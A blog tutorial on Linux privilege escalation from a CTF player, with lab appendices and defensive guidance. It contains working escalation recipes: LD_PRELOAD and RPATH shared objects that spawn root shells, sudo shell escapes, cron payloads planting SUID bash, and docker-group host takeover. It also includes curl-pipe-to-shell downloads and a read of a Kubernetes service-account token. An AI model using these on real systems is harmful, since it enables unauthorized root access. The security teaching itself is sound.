Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

Linux Privilege Escalation, Deep Dive: Techniques, Labs, Defenses, and Leviathan Tie-ins

Linux Privilege Escalation, Deep Dive

Privilege Escalation (PrivEsc) turns a low-priv foothold into higher privileges (often root). This long-form tutorial is hands-on and pattern-driven: it teaches how to enumerate, hypothesize, verify, exploit, document, and defend. We’ll cover SUID/SGID, sudo misconfigs, PATH/LD tricks, cron/timers, Linux capabilities, NFS no_root_squash, containers/Docker, and a Kubernetes/RBAC sidebar. You’ll also get mini-labs to internalize each idea and a non-spoiler mapping to OverTheWire Leviathan.

Sui

If you’re following my CTF series, start here: OverTheWire — Leviathan Overview.


Table of Contents


1) Mindset & quick wins

  • Enumerate first, escalate second. PrivEsc is pattern recognition: permissions, ownership, environment, scheduling, and file paths.
  • Prefer intended misconfig over 0-day. Sudo rules, SUID wrappers, writable cron, sloppy PATH are the real workhorses.
  • Exploit safely & document. Record exact commands, versions, timestamps, and remediation advice.

Orientation video:
Linux Privilege Escalation — Full Course (comprehensive survey)

Further references:

  • Basic Linux Privilege Escalation — g0tmi1k
  • HackTricks: Linux PrivEsc — encyclopedic tactics & checks

2) Enumeration that matters (manual + automated)

Start with identity, platform, and obvious footholds:

id; whoami
uname -a
lsb_release -a 2>/dev/null || cat /etc/*release
sudo -l
cat /etc/passwd | cut -d: -f1 | sort | uniq
env | sort

Hunt likely vectors:

# SUID/SGID
find / -perm -u=s -type f -exec ls -al {} + 2>/dev/null
find / -perm -g=s -type f -exec ls -al {} + 2>/dev/null

# Capabilities
getcap -r / 2>/dev/null

# Cron & timers
ls -al /etc/cron* /var/spool/cron 2>/dev/null
systemctl list-timers --all 2>/dev/null | sed -n '1,20p'

# Writable dirs
find / -writable -type d 2>/dev/null | head -n 50

Then use automation for breadth:

  • linPEAS (PEASS-ng) — triage sudo/SUID/cron/caps/NFS/docker fast.

    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
    
  • LinEnum — a classic scripted enumerator.

Further references:

  • PEASS-ng (linPEAS) • LinEnum • HackTricks Linux PrivEsc

3) Common escalation paths

Each subsection explains detection → exploitation pattern → defense. Try the matching mini-lab in Appendix B.

3.1 SUID/SGID binaries

Find them:

find / -perm -4000 -type f -printf "%M %u %g %p\n" 2>/dev/null | sort
find / -perm -2000 -type f -printf "%M %u %g %p\n" 2>/dev/null | sort

Exploit ideas:

  • SUID LOLBins (legit tools) with shell escapes: find, vim, less, awk, tar, cpio, etc. See GTFOBins.
  • Custom SUID helpers calling system("…") without absolute paths → PATH hijack.

Defense: minimize SUID; prefer capabilities or dedicated service accounts; code with absolute paths and drop privileges early.

Further references:

  • GTFOBins (SUID/sudo columns) • “SetUID Demystified” style posts

3.2 Misconfigured sudo (sudoers/env)

Check:

sudo -l

Look for:

  • NOPASSWD: on powerful tools (editors/interpreters/archivers).
  • SETENV + env_keep=LD_PRELOAD/LD_LIBRARY_PATH (dangerous).
  • Loose globs and wildcards (*) enabling argument/file injection.

Sketch:

# Allowed: sudo vim
sudo vim -c ':!/bin/sh'   # or GTFOBins' exact recipe

Defense: least privilege; audit rules; avoid wildcards; set env_reset and secure_path; pin absolute paths.

Further references:

  • sudoers(5) man page • GTFOBins recipes for allowed binaries

3.3 PATH hijacking & world-writable dirs

If a root/SUID/sudoed script calls tar instead of /bin/tar, and you control an earlier dir in $PATH, drop a look-alike.

Sketch:

echo -e '#!/bin/sh\n/bin/sh -p' > /tmp/tar && chmod +x /tmp/tar
export PATH="/tmp:$PATH"
sudo /path/to/poorly_written_script

Defense: absolute paths; sanitized env; secure_path in sudoers; immutable deployment paths.

Further references:

  • PATH hijack writeups • sudoers(5) (secure_path)

3.4 LD_PRELOAD / library search path pitfalls

If a sudo rule preserves LD_PRELOAD (via env_keep) or a root binary loads from a writable rpath/runpath, you can inject a shared object.

Sketch:

// /tmp/x.c
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init(){ setuid(0); system("/bin/sh -p"); }
gcc -fPIC -shared -o /tmp/x.so /tmp/x.c -nostartfiles
sudo LD_PRELOAD=/tmp/x.so <allowed-command>   # only if rule allows

Defense: disallow env injection; build with secure rpath; run as dedicated users with locked-down env.

Video (focused demo): Sudo + LD_PRELOAD privilege escalation

Further references:

  • LD_PRELOAD abuse articles • ld.so manual

3.5 Cron jobs, timers & writable scripts

Hunt:

ls -al /etc/cron* /var/spool/cron 2>/dev/null
systemctl list-timers --all 2>/dev/null

Pattern: root cron calls a writable script or sources a writable file → append payload.

Sketch:

echo 'cp /bin/bash /tmp/rbash; chmod +s /tmp/rbash' >> /path/to/writable.sh
# wait for cron...
/tmp/rbash -p

Defense: root cron points to immutable paths; scripts root-owned; code reviews for source/. usage.

Further references:

  • linPEAS/LinEnum cron checks • systemd hardening (NoNewPrivileges, ProtectSystem)

3.6 Linux Capabilities

Find file caps:

getcap -r / 2>/dev/null

High-risk: cap_setuid+ep on interpreters; cap_dac_read_search+ep on file browsers; very broad cap_sys_admin+ep.

Sketch:

# If python3 has cap_setuid+ep:
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Defense: strip caps from general tools; use tiny, auditable helpers with least capabilities.

Further references:

  • capabilities(7) • vendor docs (capability overview)

3.7 NFS (no_root_squash) & file mounts

no_root_squash lets client root act as root on server exports — enabling planting SUID files.

Recon:

showmount -e <nfs_server>
mount -t nfs <nfs_server>:/export /mnt

Defense: prefer root_squash/all_squash; Kerberos auth; strict export options.

Video (explainer): NFS no_root_squash misconfiguration

Further references:

  • exports(5) • vendor hardening notes

3.8 Containers & the docker group

Membership in docker usually implies host privesc (bind mount / and chroot):

docker run -v /:/host -it --rm alpine chroot /host /bin/sh

Defense: don’t grant docker lightly; rootless Docker; drop capabilities; protect /var/run/docker.sock.

Video (demo): Privilege Escalation via Docker group

Further references:

  • Container escape posts • Docker hardening guides

3.9 Kernel exploits (last resort)

If configs fail and kernel is vulnerable, a 1-day LPE may work — but it’s noisier and riskier. Prefer targeted, auditable PoCs; log everything; clean up.

Further references:

  • Vendor advisories • well-reviewed CVE writeups (use in labs, not prod)

4) Watching the box live with pspy

pspy lists new processes without root — perfect to catch cron/timers/services in real time.

# Kali (manual download shown; prefer distro package if available):
wget -qO pspy64 https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64 && ./pspy64

Further references:

  • pspy GitHub • distro package pages

5) A production workflow / checklist

  1. Baseline: id, sudo -l, OS, users, groups, mounts, services.
  2. Automation: run linPEAS/LinEnum in parallel; skim findings.
  3. Triage: Sudo → SUID → Writable paths → Cron → Capabilities → NFS → Containers → Kernel.
  4. Minimal PoC: prove impact with least destructive steps.
  5. Evidence: commands, outputs, perms, timestamps, fix.
  6. Cleanup: restore env/paths; remove artifacts.

Further references:

  • “Privilege Escalation playbooks” posts • incident reporting templates

6) Defending against these issues

  • Sudoers: least privilege; avoid wildcards; env_reset, secure_path, !SETENV, absolute paths.
  • SUID: audit/remove; prefer capabilities; nosuid mount when feasible.
  • Cron: immutable paths, strict ownership/permissions; avoid sourcing writable files.
  • Capabilities: no “general tools” with strong caps; dedicated helpers only.
  • NFS: avoid no_root_squash; strong auth; read-only where possible.
  • Containers: restrict docker group; rootless engines; drop capabilities; AppArmor/SELinux profiles.
  • Monitoring: watch for unexpected SUID changes, new timers, capability grants.

Further references:

  • sudoers(5)capabilities(7) • NFS exports docs • Docker hardening checklists

7) Leviathan tie-ins: habits you practiced (non-spoiler)

Leviathan trains the exact instincts you need:

  • Read perms & ownership carefully (files, dirs, binaries).
  • Trace helpers used by small SUID wrappers (strings, ltrace, strace).
  • Think environment: $PATH, LD_*, working directory.
  • Look for scheduling hooks (cron/timers) and misplaced secrets.
  • Prefer clean misconfig over brittle exploit chains.

My series hub: [OverTheWire — Leviathan Overview](/posts/overthewire/leviathan-overview/)


Appendix A — One-liners & snippets

SUID sweep + metadata

find / -perm -4000 -type f -printf "%M %u %g %p\n" 2>/dev/null | sort

Capabilities sweep

getcap -r / 2>/dev/null

Writable dirs earlier in PATH

echo $PATH | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "writable: $d"; done

Cron scrape

for f in /etc/crontab /etc/cron.*/* /var/spool/cron/*; do [ -e "$f" ] && ls -al "$f"; done 2>/dev/null

linPEAS (lab only)

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

pspy quick run

wget -qO pspy64 https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64 && ./pspy64

Appendix B — Extended mini-labs (safe, local)

Lab safety: do these on a disposable VM you own.

Lab B1 — Sudo env pitfalls (env_keep vs secure_path)

# 1) Create a harmless command in a writable dir:
mkdir -p /tmp/wh && printf '#!/bin/sh\necho PWNED\n' > /tmp/wh/wh
chmod +x /tmp/wh/wh

# 2) Prepend PATH and run a sudo-allowed script that calls 'wh' without absolute path:
export PATH="/tmp/wh:$PATH"
sudo /path/to/allowed/script   # if sudoers uses secure_path, your PATH is ignored

# Observe behavior; compare with/without 'secure_path' & 'env_reset' in sudoers (lab system).

What you learn: why secure_path and env_reset matter.


Lab B2 — GTFOBins trio: less, tar, awk under SUID/sudo

# less (shell escape; method may vary by version)
sudo less /etc/hosts
# Inside less, try:  !/bin/sh

# tar (trigger command via checkpoint; check GTFOBins for your version)
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# awk (execute command)
sudo awk 'BEGIN { system("/bin/sh") }'

What you learn: how “legit” tools become shells when misconfigured.


Lab B3 — PATH hijack of a sloppy SUID helper

// helper.c — DEMO ONLY, DO NOT DEPLOY SUID LIKE THIS
#include <stdlib.h>
int main(){ system("cp /etc/hosts /tmp/hosts.copy"); return 0; }
gcc helper.c -o helper
sudo chown root:root helper && sudo chmod 4755 helper

# Attacker
mkdir -p /tmp/p && cd /tmp/p
printf '#!/bin/sh\n/bin/sh -p\n' > cp; chmod +x cp
export PATH="/tmp/p:$PATH"
/path/to/helper

What you learn: why absolute paths matter in SUID code.


Lab B4 — LD_PRELOAD via sudo env_keep

// x.c — run a root shell when preloaded (lab)
#include <stdlib.h>
__attribute__((constructor)) void boom(){ setuid(0); system("/bin/sh -p"); }
gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
sudo LD_PRELOAD=/tmp/x.so <allowed-command>   # only if env_keep allows

What you learn: the risk of preserving LD vars.


Lab B5 — Docker group escalation

# If your user is in the docker group:
docker run --rm -it -v /:/host alpine chroot /host /bin/sh

What you learn: why docker ≈ root.


Lab B6 — NFS no_root_squash

# server: /etc/exports contains  /export *(rw,no_root_squash)
# client:
mount -t nfs server:/export /mnt
cp /bin/bash /mnt/bash-root && chmod +s /mnt/bash-root
# back on server, /export/bash-root will be SUID-root; executing there gives a root shell (lab context).

What you learn: cross-host trust pitfalls.


Lab B7 — RPATH/RUNPATH hijack with $ORIGIN (no binary patch)

Goal: demonstrate how a writable library path in RPATH/RUNPATH lets you inject a malicious .so. ⚠️ Lab-only: We’ll set SUID on a toy binary we own to simulate risk. Do not deploy such binaries.

/* libvictim.c (benign) */
#include <stdio.h>
void victim(void){ puts("victim: benign"); }
/* vuln.c — links to libvictim.so via RPATH=$ORIGIN/libs */
extern void victim(void);
int main(){ victim(); return 0; }
# Build benign lib + binary
mkdir -p /tmp/rpathdemo/libs && cd /tmp/rpathdemo
cat > libvictim.c <<'EOF'
#include <stdio.h>
void victim(void){ puts("victim: benign"); }
EOF
cat > vuln.c <<'EOF'
extern void victim(void);
int main(){ victim(); return 0; }
EOF

gcc -fPIC -shared -Wl,-soname,libvictim.so -o libs/libvictim.so libvictim.c
gcc vuln.c -L./libs -lvictim -Wl,-rpath,'$ORIGIN/libs' -o vuln

# Lab-only: simulate an unsafe deployment (SUID in attacker-writable dir)
sudo chown root:root vuln && sudo chmod 4755 vuln

# Confirm normal behavior:
./vuln
# -> prints: victim: benign

# Replace the library with a malicious one:
cat > libs/libvictim.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
void victim(void){
  setgid(0); setuid(0);
  system("/bin/sh -p -c 'echo [*] escalated; id; /bin/sh -p'");
}
EOF
gcc -fPIC -shared -Wl,-soname,libvictim.so -o libs/libvictim.so libs/libvictim.c

# Run the SUID binary again (loads our lib via RPATH $ORIGIN/libs):
./vuln

Inspectors

objdump -p ./vuln | grep -E 'RPATH|RUNPATH'
readelf -d ./vuln | egrep 'RPATH|RUNPATH'
ldd ./vuln

Lab B8 — patchelf hijack: set/replace RPATH and NEEDED

Goal: understand how binary patching can redirect the loader to our .so. ⚠️ If you can modify a SUID binary, you already have powerful control — treat this as forensics/CI hardening knowledge.

# Install patchelf (Debian/Ubuntu/Kali)
sudo apt update && sudo apt install -y patchelf

Re-use ./vuln from Lab B7 (currently with RPATH=$ORIGIN/libs).

A) Repoint RPATH at a new directory you control

mkdir -p /tmp/rpathdemo/bad
patchelf --print-rpath ./vuln
patchelf --set-rpath '$ORIGIN/bad' ./vuln
patchelf --print-rpath ./vuln   # should show $ORIGIN/bad

# Drop a malicious lib with the same SONAME:
cat > bad/libvictim.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
void victim(void){ setuid(0); setgid(0); system("/bin/sh -p"); }
EOF
gcc -fPIC -shared -Wl,-soname,libvictim.so -o bad/libvictim.so bad/libvictim.c

./vuln   # loads bad/libvictim.so via new RPATH

B) Add a dependency (NEEDED) that pops a shell on load

patchelf --print-needed ./vuln

cat > bad/libx.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void boom(){ setuid(0); setgid(0); system("/bin/sh -p"); }
EOF
gcc -fPIC -shared -Wl,-soname,libx.so -o bad/libx.so bad/libx.c

# Ensure RPATH includes $ORIGIN/bad, then:
patchelf --add-needed libx.so ./vuln
patchelf --print-needed ./vuln

./vuln   # loads libx.so alongside normal deps -> root shell (lab)

C) Swap one library for another

# If original had libvictim.so:
patchelf --replace-needed libvictim.so libx.so ./vuln
patchelf --print-needed ./vuln
./vuln

Defensive notes

  • Never deploy SUID in writable dirs; avoid $ORIGIN pointing into writable paths.
  • Vendors should ship immutable, root-owned library trees only.
  • Verify RPATH/RUNPATH/NEEDED in CI; both RPATH and RUNPATH are dangerous if they include writable dirs.

Inspectors

objdump -p ./vuln | grep -E 'RPATH|RUNPATH|NEEDED'
readelf -d ./vuln | egrep 'RPATH|RUNPATH'

Appendix C — Containers & Kubernetes deep dive

C1) Linux capabilities in containers (why escapes work)

  • Default Docker adds some capabilities; privileged adds many back.
  • If container can access the Docker socket or host mounts (-v /:/host), host privesc is near-trivial.

Checklist

# Inside container:
cat /proc/self/status | grep Cap
ls -l /var/run/docker.sock 2>/dev/null
mount | head

Defense: drop caps (--cap-drop=ALL + add back needed), seccomp/AppArmor/SELinux, rootless, avoid mounting sensitive host paths.


C2) Kubernetes RBAC & ServiceAccount tokens (quick mental model)

  • Pods mount a ServiceAccount token; with broad RBAC (list secrets, create pods), an attacker can escalate or spawn privileged pods.

Recon (inside a pod)

# If kubectl + creds exist:
kubectl auth can-i --list

# Raw API probe with the token:
curl -sS --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api

Defense: least-privilege RBAC, block hostPath, disallow privileged, admission policies (PSA), short-lived tokens, workload identity.

Further references:

  • Docker/K8s hardening guides • NSA/CISA Kubernetes hardening doc

Appendix D — Defensive checklist (printable)


Resource Library (Videos & Reading)

Videos (curated)

  • Linux Privilege Escalation – Full Course (comprehensive).
  • Sudo + LD_PRELOAD PrivEsc (focused env-abuse demo).
  • Privilege Escalation via Docker group (containers).
  • NFS no_root_squash misconfiguration (storage misconfig).

Reading / Tools

  • GTFOBins — abuse recipes for legit Unix tools (SUID/sudo).
  • PEASS-ng / linPEAS — automated triage.
  • LinEnum — classic local enumeration.
  • pspy — process watcher without root.
  • HackTricks: Linux PrivEsc — exhaustive notes & checklists.
  • Man-pages: sudoers(5) & capabilities(7).
  • NFS hardening: exports(5) + vendor docs.
  • Container hardening: Docker/K8s best practices.

Final note

Use this as a playbook: enumerate broadly, pick the cleanest misconfig, verify with the smallest PoC, then leave clear remediation in your notes. Pair these patterns with your Leviathan journey for fast skill compounding.


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with